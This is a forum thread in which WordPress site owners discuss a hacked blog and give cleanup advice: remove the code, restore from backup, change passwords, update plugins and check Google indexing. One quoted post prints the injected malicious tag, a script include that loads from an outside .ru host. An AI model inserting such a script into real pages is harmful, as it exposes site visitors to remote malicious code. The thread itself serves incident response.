hacked site/blog pages - help! | Warrior Forum - The #1 Digital Marketing Forum & Marketplace

14 years ago

Hi
Clean the infected files, or replace with a backup, and then change your passwords including ftp/sftp and also make sure your wordpress install is up to date.

Thanks
Mark

Thanks
1 reply

{{ DiscussionBoard.errors[1507345].message }}

CodrutTurcanu 14 years ago

why? what damage could it cause?
- Thanks
- 1 reply
{{ DiscussionBoard.errors[1507886].message }}
- Mark Ford 14 years ago
  
  well- if you didn't put the code in there, you would have to assume it was malicious and not good and that your site had been compromised - so remove it, change the passwords
  
  Thanks
  
  {{ DiscussionBoard.errors[1508188].message }}

Abledragon

14 years ago

You may also need to check that Google hasn't spotted it and de-indexed your site. You can do that through Google Webmasters Tools, including re-submitting your site once it's cleaned up.

Once you're all cleaned up this article may help with improving your site's resistance to hacking in the future:

http://www.wealthydragon.com/blog/20...-security-ftp/

Cheers,

Martin.

Thanks
1 reply

Signature

WealthyDragon - Earning My Living Online

{{ DiscussionBoard.errors[1508258].message }}

CodrutTurcanu

14 years ago

Originally Posted by Abledragon

You may also need to check that Google hasn't spotted it and de-indexed your site. You can do that through Google Webmasters Tools, including re-submitting your site once it's cleaned up.

Once you're all cleaned up this article may help with improving your site's resistance to hacking in the future:

http://www.wealthydragon.com/blog/20...-security-ftp/

Cheers,

Martin.

Why? Is Google de-indexing hacked sites?

Thanks
1 reply

{{ DiscussionBoard.errors[1509852].message }}

intoAM.com 14 years ago

Originally Posted by CodrutTurcanu

Why? Is Google de-indexing hacked sites?

They might add a warning to your SE listings or deindex your site for spamming (see: doorways) if the attacker's script redirects your visitors somewhere else (in the futurre).
- Thanks
{{ DiscussionBoard.errors[1509864].message }}

oca101

Banned 14 years ago

[DELETED]

{{ DiscussionBoard.errors[1509405].message }}

CodrutTurcanu

14 years ago

Originally Posted by oca101

just removing the inserted script will do the mess gone,
<script src=http://dolarptc.hdd1.ru/login.php ></script> is BlueFart code breaker, use by affiliate program site.

BlueFart code breaker? What is that, and how bad is it?

Thanks

{{ DiscussionBoard.errors[1509855].message }}

HomeComputerGames

14 years ago

I would suggest thoroughly checking your personal computer for viruses also.
There are key loggers and other programs with vulnerabilities. If you are downloading anything from torrents or cracked software you may want to beware.

You don't happen to use filezilla for ftp do you?

Thanks
2 replies

Signature

yes, I am....

{{ DiscussionBoard.errors[1509524].message }}

chaos69

14 years ago

This was most likely caused by an older version of wordpress - what version are you using? Be sure to update to the latest version.

These will be of some use:

WordPress › Support HACK WARNING: UPGRADE IMMEDIATELY
FAQ My site was hacked WordPress Codex

As far as not getting hacked again, these are good resources:

Hardening WordPress WordPress Codex
Did your WordPress site get hacked?

Thanks
1 reply

Signature

Best Ways To Make Money Online

Eight bytes walk into a bar. The bartender asks, â€œCan I get you anything?â€
â€œYeah,â€ reply the bytes. â€œMake us a double.â€

{{ DiscussionBoard.errors[1509541].message }}

CodrutTurcanu

14 years ago

Originally Posted by chaos69

This was most likely caused by an older version of wordpress - what version are you using? Be sure to update to the latest version.

These will be of some use:

WordPress › Support HACK WARNING: UPGRADE IMMEDIATELY
FAQ My site was hacked WordPress Codex

As far as not getting hacked again, these are good resources:

Hardening WordPress WordPress Codex
Did your WordPress site get hacked?

yes, using the latest WP version and upgrade all my plugins. It seems this script got in with a plugin, as I've seen it on other of my client's blogs which are not hosted on my server

Wondering which is the plugin. You might also want to check out yours!

Thanks

{{ DiscussionBoard.errors[1509859].message }}

CodrutTurcanu

14 years ago

Originally Posted by HomeComputerGames

I would suggest thoroughly checking your personal computer for viruses also.
There are key loggers and other programs with vulnerabilities. If you are downloading anything from torrents or cracked software you may want to beware.

You don't happen to use filezilla for ftp do you?

Not much into torrents... lol

Yes, using FileZilla for FTP only, but got it months after getting infected [just two weeks ago, in fact] - WHY, is it not good?

Thanks

{{ DiscussionBoard.errors[1509866].message }}

intoAM.com

14 years ago

It leads to a 404 error page (the PHP file was not found at their server) even when I fake referer/useragent to pretend the request comes from a legitimate website and not from a security consulting service.

But I would recommend you to remove the code immediately from your website and upgrade your WordPress installation to the latest version immediately as well.

Not only you're risking potentially getting your visitors or yourself infected with any type of malware, but you're also risking yourself getting into problems because of misuse of your server resources by the hackers.